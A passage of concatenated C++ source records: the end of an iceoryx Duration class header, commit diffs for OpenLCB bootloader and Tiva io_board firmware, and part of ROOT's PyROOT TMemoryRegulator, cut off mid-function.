\/\/\/ \"infinite\" timeout.\n static constexpr Duration max() noexcept;\n\n \/\/\/ @brief Constructs a new Duration object with a duration of zero\n static constexpr Duration zero() noexcept;\n \/\/ END CREATION FROM STATIC FUNCTIONS\n\n \/\/ BEGIN CONSTRUCTORS AND ASSIGNMENT\n\n \/\/\/ @brief Construct a Duration object from timeval\n \/\/\/ @param[in] value as timeval\n constexpr explicit Duration(const struct timeval& value) noexcept;\n\n \/\/\/ @brief Construct a Duration object from timespec\n \/\/\/ @param[in] value as timespec\n constexpr explicit Duration(const struct timespec& value) noexcept;\n\n \/\/\/ @brief Construct a Duration object from itimerspec\n \/\/\/ @param[in] value as itimerspec\n \/\/\/ @note only it_interval from the itimerspec is used\n constexpr explicit Duration(const struct itimerspec& value) noexcept;\n\n \/\/\/ @brief Construct a Duration object from std::chrono::milliseconds\n \/\/\/ @param[in] value as milliseconds\n \/\/\/ @attention Since negative durations are not allowed, the duration will be clamped to 0\n constexpr explicit Duration(const std::chrono::milliseconds& value) noexcept;\n\n \/\/\/ @brief Construct a Duration object from std::chrono::nanoseconds\n \/\/\/ @param[in] value as nanoseconds\n \/\/\/ @attention Since negative durations are not allowed, the duration will be clamped to 0\n constexpr explicit Duration(const std::chrono::nanoseconds& value) noexcept;\n\n \/\/\/ @brief Assigns a std::chrono::milliseconds to an duration object\n \/\/\/ @param[in] rhs is the right hand side of the assignment\n \/\/\/ @return a reference to the Duration object with the assigned millisecond value\n \/\/\/ @attention Since negative durations are not allowed, the duration will be clamped to 0\n Duration& operator=(const std::chrono::milliseconds& rhs) noexcept;\n\n \/\/ END CONSTRUCTORS AND ASSIGNMENT\n\n \/\/ BEGIN COMPARISON\n\n \/\/\/ @brief Equal to operator\n \/\/\/ @param[in] rhs is the right hand side of the comparison\n \/\/\/ @return true if duration equal to rhs\n constexpr bool operator==(const Duration& rhs) const noexcept;\n\n \/\/\/ @brief Not equal to operator\n \/\/\/ @param[in] rhs is the right hand side of the comparison\n \/\/\/ @return true if duration not equal to rhs\n constexpr bool operator!=(const Duration& rhs) const noexcept;\n\n \/\/\/ @brief Less than operator\n \/\/\/ @param[in] rhs is the right hand side of the comparison\n \/\/\/ @return true if duration is less than rhs\n constexpr bool operator<(const Duration& rhs) const noexcept;\n\n \/\/\/ @brief Less than or equal to operator\n \/\/\/ @param[in] rhs is the right hand side of the comparison\n \/\/\/ @return true if duration is less than or equal to rhs\n constexpr bool operator<=(const Duration& rhs) const noexcept;\n\n \/\/\/ @brief Greater than operator\n \/\/\/ @param[in] rhs is the right hand side of the comparison\n \/\/\/ @return true if duration is greater than rhs\n constexpr bool operator>(const Duration& rhs) const noexcept;\n\n \/\/\/ @brief Greater than or equal to operator\n \/\/\/ @param[in] rhs is the right hand side of the comparison\n \/\/\/ @return true if duration is greater than or equal to rhs\n constexpr bool operator>=(const Duration& rhs) const noexcept;\n\n \/\/ END COMPARISON\n\n \/\/ BEGIN ARITHMETIC\n\n \/\/\/ @brief Creates Duration object by addition. On overflow duration\n \/\/\/ saturates to Duration::max().\n \/\/\/ @param[in] rhs is the second summand\n \/\/\/ @return a new Duration object\n constexpr Duration operator+(const Duration& rhs) const noexcept;\n\n \/\/\/ @brief Creates Duration object by subtraction. On underflow duration\n \/\/\/ saturates to Duration::zero().\n \/\/\/ @param[in] rhs is the subtrahend\n \/\/\/ @return a new Duration object\n \/\/\/ @attention Since negative durations are not allowed, the duration will be clamped to 0\n constexpr Duration operator-(const Duration& rhs) const noexcept;\n\n \/\/\/ @brief Creates Duration object by multiplication.\n \/\/\/ @tparam T is an arithmetic type for the multiplicator\n \/\/\/ @param[in] rhs is the multiplicator\n \/\/\/ @return a new Duration object\n \/\/\/ @attention Since negative durations are not allowed, the duration will be clamped to 0\n \/\/\/ @note A duration of 0 will always result in 0, no matter if multiplied with NaN or +Inf\n \/\/\/ @note There is no explicit division operator! This can be achieved by multiplication with the inverse of the\n \/\/\/ divisor.\n \/\/\/ @note Multiplication of a non-zero duration with NaN and +Inf results in a saturated max duration\n template <typename T>\n constexpr Duration operator*(const T& rhs) const noexcept;\n\n \/\/ END ARITHMETIC\n\n \/\/ BEGIN CONVERSION\n\n \/\/\/ @brief returns the duration in nanoseconds\n \/\/\/ @note If the duration in nanoseconds is larger than an uint64_t can represent, it will be clamped to the\n \/\/\/ uint64_t max value.\n constexpr uint64_t toNanoseconds() const noexcept;\n\n \/\/\/ @brief returns the duration in microseconds\n \/\/\/ @note If the duration in microseconds is larger than an uint64_t can represent, it will be clamped to the\n \/\/\/ uint64_t max value.\n \/\/\/ @note The remaining nanoseconds are truncated, similar to the casting behavior of a float to an int.\n constexpr uint64_t toMicroseconds() const noexcept;\n\n \/\/\/ @brief returns the duration in milliseconds\n \/\/\/ @note If the duration in milliseconds is larger than an uint64_t can represent, it will be clamped to the\n \/\/\/ uint64_t max value.\n \/\/\/ @note The remaining microseconds are truncated, similar to the casting behavior of a float to an int.\n constexpr uint64_t toMilliseconds() const noexcept;\n\n \/\/\/ @brief returns the duration in seconds\n \/\/\/ @note The remaining milliseconds are truncated, similar to the casting behavior of a float to an int.\n constexpr uint64_t toSeconds() const noexcept;\n\n \/\/\/ @brief returns the duration in minutes\n \/\/\/ @note The remaining seconds are truncated, similar to the casting behavior of a float to an int.\n constexpr uint64_t toMinutes() const noexcept;\n\n \/\/\/ @brief returns the duration in hours\n \/\/\/ @note The remaining minutes are truncated, similar to the casting behavior of a float to an int.\n constexpr uint64_t toHours() const noexcept;\n\n \/\/\/ @brief returns the duration in days\n \/\/\/ @note The remaining hours are truncated, similar to the casting behavior of a float to an int.\n constexpr uint64_t toDays() const noexcept;\n\n \/\/\/ @brief converts duration in a timespec c struct\n struct timespec timespec(const TimeSpecReference& reference = TimeSpecReference::None) const noexcept;\n\n \/\/\/ @brief converts duration in a timeval c struct\n \/\/\/ timeval::tv_sec = seconds since the Epoch (01.01.1970)\n \/\/\/ timeval::tv_usec = microseconds\n constexpr struct timeval timeval() const noexcept;\n\n \/\/ END CONVERSION\n\n friend constexpr Duration duration_literals::operator\"\" _ns(unsigned long long int value) noexcept;\n friend constexpr Duration duration_literals::operator\"\" _us(unsigned long long int value) noexcept;\n friend constexpr Duration duration_literals::operator\"\" _ms(unsigned long long int value) noexcept;\n friend constexpr Duration duration_literals::operator\"\" _s(unsigned long long int value) noexcept;\n friend constexpr Duration duration_literals::operator\"\" _m(unsigned long long int value) noexcept;\n friend constexpr Duration duration_literals::operator\"\" _h(unsigned long long int value) noexcept;\n friend constexpr Duration duration_literals::operator\"\" _d(unsigned long long int value) noexcept;\n\n template <typename T>\n friend constexpr Duration operator*(const T& lhs, const Duration& rhs) noexcept;\n\n friend std::ostream& operator<<(std::ostream& stream, const Duration& t) noexcept;\n\n static constexpr uint32_t SECS_PER_MINUTE{60U};\n static constexpr uint32_t SECS_PER_HOUR{3600U};\n static constexpr uint32_t HOURS_PER_DAY{24U};\n\n static constexpr uint32_t MILLISECS_PER_SEC{1000U};\n static constexpr uint32_t MICROSECS_PER_SEC{MILLISECS_PER_SEC * 1000U};\n\n static constexpr uint32_t NANOSECS_PER_MICROSEC{1000U};\n static constexpr uint32_t NANOSECS_PER_MILLISEC{NANOSECS_PER_MICROSEC * 1000U};\n static constexpr uint32_t NANOSECS_PER_SEC{NANOSECS_PER_MILLISEC * 1000U};\n\n protected:\n using Seconds_t = uint64_t;\n using Nanoseconds_t = uint32_t;\n\n \/\/\/ @brief Constructs a Duration from seconds and nanoseconds\n \/\/\/ @param[in] seconds portion of the duration\n \/\/\/ @param[in] nanoseconds portion of the duration\n \/\/\/ @note this is protected to be able to use it in unit tests\n constexpr Duration(const Seconds_t seconds, const Nanoseconds_t nanoseconds) noexcept;\n\n \/\/\/ @note this is factory method is necessary to build with msvc due to issues calling a protected constexpr ctor\n \/\/\/ from public methods\n static constexpr Duration createDuration(const Seconds_t seconds, const Nanoseconds_t nanoseconds) noexcept;\n\n private:\n template <typename T, typename String>\n static constexpr unsigned long long int positiveValueOrClampToZero(const T value, const String fromMethod) noexcept;\n\n template <typename T>\n constexpr Duration fromFloatingPointSeconds(const T floatingPointSeconds) const noexcept;\n template <typename From, typename To>\n constexpr bool wouldCastFromFloatingPointProbablyOverflow(const From floatingPoint) const noexcept;\n\n template <typename T>\n constexpr Duration multiplyWith(const std::enable_if_t<!std::is_floating_point<T>::value, T>& rhs) const noexcept;\n\n template <typename T>\n constexpr Duration multiplyWith(const std::enable_if_t<std::is_floating_point<T>::value, T>& rhs) const noexcept;\n\n private:\n Seconds_t m_seconds{0U};\n Nanoseconds_t m_nanoseconds{0U};\n};\n\n\/\/\/ @brief creates Duration object by multiplying object T with a duration. On overflow\n\/\/\/ duration will saturate to Duration::max()\n\/\/\/ @tparam T is an arithmetic type for the multiplicator\n\/\/\/ @param[in] lhs is the multiplicator\n\/\/\/ @param[in] rhs is the multiplicant\n\/\/\/ @return a new Duration object\n\/\/\/ @attention Since negative durations are not allowed, the duration will be clamped to 0\ntemplate <typename T>\nconstexpr Duration operator*(const T& lhs, const Duration& rhs) noexcept;\n\n\/\/\/ @brief stream operator for the Duration class\nstd::ostream& operator<<(std::ostream& stream, const Duration& t) noexcept;\n\n} \/\/ namespace units\n} \/\/ namespace iox\n\n#include \"iceoryx_hoofs\/internal\/units\/duration.inl\"\n\n#endif \/\/ IOX_HOOFS_UNITS_DURATION_HPP\n<|endoftext|>"} {"text":"<commit_before>#include \"openlcb\/If.hxx\"\n#include \"address.h\"\n\nextern const openlcb::NodeID NODE_ID;\nconst openlcb::NodeID NODE_ID = 0x050101011400ULL | NODEID_LOW_BITS;\nextern const uint16_t DEFAULT_ALIAS;\nconst uint16_t DEFAULT_ALIAS = 0x400 | NODEID_LOW_BITS;\n\n#define BOOTLOADER_DATAGRAM\n#include \"openlcb\/Bootloader.hxx\"\n<commit_msg>Adds support for nodeid high bits.<commit_after>#include \"openlcb\/If.hxx\"\n#include \"address.h\"\n\n#ifndef NODEID_HIGH_BITS\n#define NODEID_HIGH_BITS 0x18\n#endif\n\nextern const openlcb::NodeID NODE_ID;\nconst openlcb::NodeID NODE_ID = 0x050101010000ULL | (NODEID_HIGH_BITS << 8) | NODEID_LOW_BITS;\nextern const uint16_t DEFAULT_ALIAS;\nconst uint16_t DEFAULT_ALIAS = 0x400 | NODEID_LOW_BITS;\n\n#define BOOTLOADER_DATAGRAM\n#include \"openlcb\/Bootloader.hxx\"\n<|endoftext|>"} {"text":"<commit_before>\/** \\copyright\n * Copyright (c) 2013, Balazs Racz\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * - Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.\n *\n * - Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n * \\file main.cxx\n *\n * Main file for the io board application on the Tiva Launchpad board.\n *\n * @author Balazs Racz\n * @date 5 Jun 2015\n *\/\n\n#include \"os\/os.h\"\n#include \"nmranet_config.h\"\n\n#include \"nmranet\/SimpleStack.hxx\"\n#include \"nmranet\/ConfiguredConsumer.hxx\"\n#include \"nmranet\/ConfiguredProducer.hxx\"\n\n#include \"freertos_drivers\/ti\/TivaGPIO.hxx\"\n#include \"freertos_drivers\/common\/BlinkerGPIO.hxx\"\n#include \"config.hxx\"\n#include \"hardware.hxx\"\n\n\/\/ These preprocessor symbols are used to select which physical connections\n\/\/ will be enabled in the main(). See @ref appl_main below.\n#define SNIFF_ON_SERIAL\n\/\/#define SNIFF_ON_USB\n\/\/#define HAVE_PHYSICAL_CAN_PORT\n\n\/\/ Changes the default behavior by adding a newline after each gridconnect\n\/\/ packet. Makes it easier for debugging the raw device.\nOVERRIDE_CONST(gc_generate_newlines, 1);\n\/\/ Specifies how much RAM (in bytes) we allocate to the stack of the main\n\/\/ thread. Useful tuning parameter in case the application runs out of memory.\nOVERRIDE_CONST(main_thread_stack_size, 2500);\n\n\/\/ Specifies the 48-bit OpenLCB node identifier. This must be unique for every\n\/\/ hardware manufactured, so in production this should be replaced by some\n\/\/ easily incrementable method.\nextern const nmranet::NodeID NODE_ID = 0x050101011412ULL;\n\n\/\/ Sets up a comprehensive OpenLCB stack for a single virtual node. This stack\n\/\/ contains everything needed for a usual peripheral node -- all\n\/\/ CAN-bus-specific components, a virtual node, PIP, SNIP, Memory configuration\n\/\/ protocol, ACDI, CDI, a bunch of memory spaces, etc.\nnmranet::SimpleCanStack stack(NODE_ID);\n\n\/\/ ConfigDef comes from config.hxx and is specific to the particular device and\n\/\/ target. It defines the layout of the configuration memory space and is also\n\/\/ used to generate the cdi.xml file. Here we instantiate the configuration\n\/\/ layout. The argument of offset zero is ignored and will be removed later.\nnmranet::ConfigDef cfg(0);\n\/\/ Defines weak constants used by the stack to tell it which device contains\n\/\/ the volatile configuration information. This device name appears in\n\/\/ HwInit.cxx that creates the device drivers.\nextern const char *const nmranet::CONFIG_FILENAME = \"\/dev\/eeprom\";\n\/\/ The size of the memory space to export over the above device.\nextern const size_t nmranet::CONFIG_FILE_SIZE =\n cfg.seg().size() + cfg.seg().offset();\nstatic_assert(nmranet::CONFIG_FILE_SIZE <= 300, \"Need to adjust eeprom size\");\n\/\/ The SNIP user-changeable information in also stored in the above eeprom\n\/\/ device. In general this could come from different eeprom segments, but it is\n\/\/ simpler to keep them together.\nextern const char *const nmranet::SNIP_DYNAMIC_FILENAME =\n nmranet::CONFIG_FILENAME;\n\n\/\/ Defines the GPIO ports used for the producers and the consumers.\n\n\/\/ The first LED is driven by the blinker device from BlinkerGPIO.hxx. We just\n\/\/ create an alias for symmetry.\ntypedef BLINKER_Pin LED_RED_Pin;\n\n\/\/ Instantiates the actual producer and consumer objects for the given GPIO\n\/\/ pins from above. The ConfiguredConsumer class takes care of most of the\n\/\/ complicated setup and operation requirements. We need to give it the virtual\n\/\/ node pointer, the configuration configuration from the CDI definition, and\n\/\/ the hardware pin definition. The virtual node pointer comes from the stack\n\/\/ object. The configuration structure comes from the CDI definition object,\n\/\/ segment 'seg', in which there is a repeated group 'consumers', and we assign\n\/\/ the individual entries to the individual consumers. Each consumer gets its\n\/\/ own GPIO pin.\nnmranet::ConfiguredConsumer consumer_red(\n stack.node(), cfg.seg().consumers().entry<0>(), LED_RED_Pin());\nnmranet::ConfiguredConsumer consumer_green(\n stack.node(), cfg.seg().consumers().entry<1>(), LED_GREEN_Pin());\nnmranet::ConfiguredConsumer consumer_blue(\n stack.node(), cfg.seg().consumers().entry<2>(), LED_BLUE_Pin());\n\n\/\/ Similar syntax for the producers.\nnmranet::ConfiguredProducer producer_sw1(\n stack.node(), cfg.seg().producers().entry<0>(), SW1_Pin());\nnmranet::ConfiguredProducer producer_sw2(\n stack.node(), cfg.seg().producers().entry<1>(), SW2_Pin());\n\n\/\/ The producers need to be polled repeatedly for changes and to execute the\n\/\/ debouncing algorithm. This class instantiates a refreshloop and adds the two\n\/\/ producers to it.\nnmranet::RefreshLoop loop(\n stack.node(), {producer_sw1.polling(), producer_sw2.polling()});\n\n\/** Entry point to application.\n * @param argc number of command line arguments\n * @param argv array of command line arguments\n * @return 0, should never return\n *\/\nint appl_main(int argc, char *argv[])\n{\n \/\/ The necessary physical ports must be added to the stack.\n \/\/\n \/\/ It is okay to enable multiple physical ports, in which case the stack\n \/\/ will behave as a bridge between them. For example enabling both the\n \/\/ physical CAN port and the USB port will make this firmware act as an\n \/\/ USB-CAN adapter in addition to the producers\/consumers created above.\n \/\/\n \/\/ If a port is enabled, it must be functional or else the stack will\n \/\/ freeze waiting for that port to send the packets out.\n#if defined(HAVE_PHYSICAL_CAN_PORT)\n stack.add_can_port_select(\"\/dev\/can0\");\n#endif\n#if defined(SNIFF_ON_USB)\n stack.add_gridconnect_port(\"\/dev\/serUSB0\");\n#endif\n#if defined(SNIFF_ON_SERIAL)\n stack.add_gridconnect_port(\"\/dev\/ser0\");\n#endif\n\n \/\/ This command donates the main thread to the operation of the\n \/\/ stack. Alternatively the stack could be started in a separate stack and\n \/\/ then application-specific business logic could be executed ion a busy\n \/\/ loop in the main thread.\n stack.loop_executor();\n return 0;\n}\n<commit_msg>Updates io_board target tm4c123 to use the MultiConfiguredConsumer object.<commit_after>\/** \\copyright\n * Copyright (c) 2013, Balazs Racz\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * - Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.\n *\n * - Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n * \\file main.cxx\n *\n * Main file for the io board application on the Tiva Launchpad board.\n *\n * @author Balazs Racz\n * @date 5 Jun 2015\n *\/\n\n#include \"os\/os.h\"\n#include \"nmranet_config.h\"\n\n#include \"nmranet\/SimpleStack.hxx\"\n#include \"nmranet\/ConfiguredConsumer.hxx\"\n#include \"nmranet\/MultiConfiguredConsumer.hxx\"\n#include \"nmranet\/ConfiguredProducer.hxx\"\n\n#include \"freertos_drivers\/ti\/TivaGPIO.hxx\"\n#include \"freertos_drivers\/common\/BlinkerGPIO.hxx\"\n#include \"config.hxx\"\n#include \"hardware.hxx\"\n\n\/\/ These preprocessor symbols are used to select which physical connections\n\/\/ will be enabled in the main(). See @ref appl_main below.\n#define SNIFF_ON_SERIAL\n\/\/#define SNIFF_ON_USB\n\/\/#define HAVE_PHYSICAL_CAN_PORT\n\n\/\/ Changes the default behavior by adding a newline after each gridconnect\n\/\/ packet. Makes it easier for debugging the raw device.\nOVERRIDE_CONST(gc_generate_newlines, 1);\n\/\/ Specifies how much RAM (in bytes) we allocate to the stack of the main\n\/\/ thread. Useful tuning parameter in case the application runs out of memory.\nOVERRIDE_CONST(main_thread_stack_size, 2500);\n\n\/\/ Specifies the 48-bit OpenLCB node identifier. This must be unique for every\n\/\/ hardware manufactured, so in production this should be replaced by some\n\/\/ easily incrementable method.\nextern const nmranet::NodeID NODE_ID = 0x050101011412ULL;\n\n\/\/ Sets up a comprehensive OpenLCB stack for a single virtual node. This stack\n\/\/ contains everything needed for a usual peripheral node -- all\n\/\/ CAN-bus-specific components, a virtual node, PIP, SNIP, Memory configuration\n\/\/ protocol, ACDI, CDI, a bunch of memory spaces, etc.\nnmranet::SimpleCanStack stack(NODE_ID);\n\n\/\/ ConfigDef comes from config.hxx and is specific to the particular device and\n\/\/ target. It defines the layout of the configuration memory space and is also\n\/\/ used to generate the cdi.xml file. Here we instantiate the configuration\n\/\/ layout. The argument of offset zero is ignored and will be removed later.\nnmranet::ConfigDef cfg(0);\n\/\/ Defines weak constants used by the stack to tell it which device contains\n\/\/ the volatile configuration information. This device name appears in\n\/\/ HwInit.cxx that creates the device drivers.\nextern const char *const nmranet::CONFIG_FILENAME = \"\/dev\/eeprom\";\n\/\/ The size of the memory space to export over the above device.\nextern const size_t nmranet::CONFIG_FILE_SIZE =\n cfg.seg().size() + cfg.seg().offset();\nstatic_assert(nmranet::CONFIG_FILE_SIZE <= 300, \"Need to adjust eeprom size\");\n\/\/ The SNIP user-changeable information in also stored in the above eeprom\n\/\/ device. In general this could come from different eeprom segments, but it is\n\/\/ simpler to keep them together.\nextern const char *const nmranet::SNIP_DYNAMIC_FILENAME =\n nmranet::CONFIG_FILENAME;\n\n\/\/ Defines the GPIO ports used for the producers and the consumers.\n\n\/\/ The first LED is driven by the blinker device from BlinkerGPIO.hxx. We just\n\/\/ create an alias for symmetry.\ntypedef BLINKER_Pin LED_RED_Pin;\n\n\/\/ List of GPIO objects that will be used for the output pins. You should keep\n\/\/ the constexpr declaration, because it will produce a compile error in case\n\/\/ the list of pointers cannot be compiled into a compiler constant and thus\n\/\/ would be placed into RAM instead of ROM.\nconstexpr const Gpio *const kOutputGpio[] = {LED_RED_Pin::instance(),\n LED_GREEN_Pin::instance(),\n LED_BLUE_Pin::instance()};\n\n\/\/ Instantiates the actual producer and consumer objects for the given GPIO\n\/\/ pins from above. The MultiConfiguredConsumer class takes care of most of the\n\/\/ complicated setup and operation requirements. We need to give it the virtual\n\/\/ node pointer, the hardware pin definition and the configuration from the CDI\n\/\/ definition. The virtual node pointer comes from the stack object. The\n\/\/ configuration structure comes from the CDI definition object, segment 'seg',\n\/\/ in which there is a repeated group 'consumers'. The GPIO pins get assigned\n\/\/ to the repetitions in the group in order.\nnmranet::MultiConfiguredConsumer consumers(kOutputGpio, ARRAYSIZE(kOutputGpio),\n cfg.seg().consumers());\n\n\/\/ Similar syntax for the producers.\nnmranet::ConfiguredProducer producer_sw1(\n stack.node(), cfg.seg().producers().entry<0>(), SW1_Pin());\nnmranet::ConfiguredProducer producer_sw2(\n stack.node(), cfg.seg().producers().entry<1>(), SW2_Pin());\n\n\/\/ The producers need to be polled repeatedly for changes and to execute the\n\/\/ debouncing algorithm. This class instantiates a refreshloop and adds the two\n\/\/ producers to it.\nnmranet::RefreshLoop loop(\n stack.node(), {producer_sw1.polling(), producer_sw2.polling()});\n\n\/** Entry point to application.\n * @param argc number of command line arguments\n * @param argv array of command line arguments\n * @return 0, should never return\n *\/\nint appl_main(int argc, char *argv[])\n{\n \/\/ The necessary physical ports must be added to the stack.\n \/\/\n \/\/ It is okay to enable multiple physical ports, in which case the stack\n \/\/ will behave as a bridge between them. For example enabling both the\n \/\/ physical CAN port and the USB port will make this firmware act as an\n \/\/ USB-CAN adapter in addition to the producers\/consumers created above.\n \/\/\n \/\/ If a port is enabled, it must be functional or else the stack will\n \/\/ freeze waiting for that port to send the packets out.\n#if defined(HAVE_PHYSICAL_CAN_PORT)\n stack.add_can_port_select(\"\/dev\/can0\");\n#endif\n#if defined(SNIFF_ON_USB)\n stack.add_gridconnect_port(\"\/dev\/serUSB0\");\n#endif\n#if defined(SNIFF_ON_SERIAL)\n stack.add_gridconnect_port(\"\/dev\/ser0\");\n#endif\n\n \/\/ This command donates the main thread to the operation of the\n \/\/ stack. Alternatively the stack could be started in a separate stack and\n \/\/ then application-specific business logic could be executed ion a busy\n \/\/ loop in the main thread.\n stack.loop_executor();\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\n\/\/ Author: Enric Tejedor CERN 08\/2019\n\n\/*************************************************************************\n * Copyright (C) 1995-2019, Rene Brun and Fons Rademakers. *\n * All rights reserved. *\n * *\n * For the licensing terms see $ROOTSYS\/LICENSE. *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS. *\n *************************************************************************\/\n\n#include \"TMemoryRegulator.h\"\n\n#include \"ProxyWrappers.h\"\n#include \"CPPInstance.h\"\n#include \"CPPInstance.h\"\n\nusing namespace CPyCppyy;\n\nPyROOT::ObjectMap_t PyROOT::TMemoryRegulator::fObjectMap = PyROOT::ObjectMap_t();\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ \\brief Constructor. Registers the hooks to run on Cppyy's object\n\/\/\/ construction and destruction\nPyROOT::TMemoryRegulator::TMemoryRegulator()\n{\n MemoryRegulator::SetRegisterHook(PyROOT::TMemoryRegulator::RegisterHook);\n MemoryRegulator::SetUnregisterHook(PyROOT::TMemoryRegulator::UnregisterHook);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ \\brief Register a hook that Cppyy runs when constructing an object.\n\/\/\/ \\param[in] cppobj Address of the object.\n\/\/\/ \\param[in] klass Class id of the object.\n\/\/\/ \\return Pair of two booleans. First indicates success, second tells\n\/\/\/ Cppyy if we want to continue running RegisterPyObject\nstd::pair<bool, bool> PyROOT::TMemoryRegulator::RegisterHook(Cppyy::TCppObject_t cppobj, Cppyy::TCppType_t klass)\n{\n static Cppyy::TCppType_t tobjectTypeID = (Cppyy::TCppType_t)Cppyy::GetScope(\"TObject\");\n\n if (Cppyy::IsSubtype(klass, tobjectTypeID)) {\n ObjectMap_t::iterator ppo = fObjectMap.find(cppobj);\n if (ppo == fObjectMap.end()) {\n fObjectMap.insert({cppobj, klass});\n }\n }\n\n return {true, true};\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ \\brief Register a hook that Cppyy runs when deleting an object.\n\/\/\/ \\param[in] cppobj Address of the object.\n\/\/\/ \\param[in] klass Class id of the object.\n\/\/\/ \\return Pair of two booleans. First indicates success, second tells\n\/\/\/ Cppyy if we want to continue running UnRegisterPyObject\nstd::pair<bool, bool> PyROOT::TMemoryRegulator::UnregisterHook(Cppyy::TCppObject_t cppobj, Cppyy::TCppType_t klass)\n{\n static Cppyy::TCppType_t tobjectTypeID = (Cppyy::TCppType_t)Cppyy::GetScope(\"TObject\");\n\n if (Cppyy::IsSubtype(klass, tobjectTypeID)) {\n ObjectMap_t::iterator ppo = fObjectMap.find(cppobj);\n if (ppo != fObjectMap.end()) {\n fObjectMap.erase(ppo);\n }\n }\n\n return {true, true};\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ \\brief Get the class id of the TObject being deleted and run Cppyy's\n\/\/\/ RecursiveRemove.\n\/\/\/ \\param[in] object Object being destructed.\nvoid PyROOT::TMemoryRegulator::RecursiveRemove(TObject *object)\n{\n auto cppobj = (Cppyy::TCppObject_t)object;\n Cppyy::TCppType_t klass = 0;\n\n ObjectMap_t::iterator ppo = fObjectMap.find(cppobj);\n if (ppo != fObjectMap.end()) {\n klass = ppo->second;\n MemoryRegulator::RecursiveRemove(cppobj, klass);\n fObjectMap.erase(ppo);\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ \\brief Clean up all tracked objects.\nvoid PyROOT::TMemoryRegulator::ClearProxiedObjects()\n{\n while (!fObjectMap.empty()) {\n auto elem = fObjectMap.begin();\n auto cppobj = elem->first;\n auto klassid = elem->second;\n auto pyclass = CreateScopeProxy(klassid);\n auto pyobj = (CPPInstance *)MemoryRegulator::RetrievePyObject(cppobj, pyclass);\n\n if (pyobj && (pyobj->fFlags & CPPInstance::kIsOwner)) {\n \/\/ Only delete the C++ object if the Python proxy owns it.\n \/\/ Invoke RecursiveRemove on it first so that proxy cleanup is done\n auto o = static_cast<TObject *>(cppobj);\n RecursiveRemove(o);\n delete o;\n }\n else {\n \/\/ Non-owning proxy, just unregister to clean tables.\n \/\/ 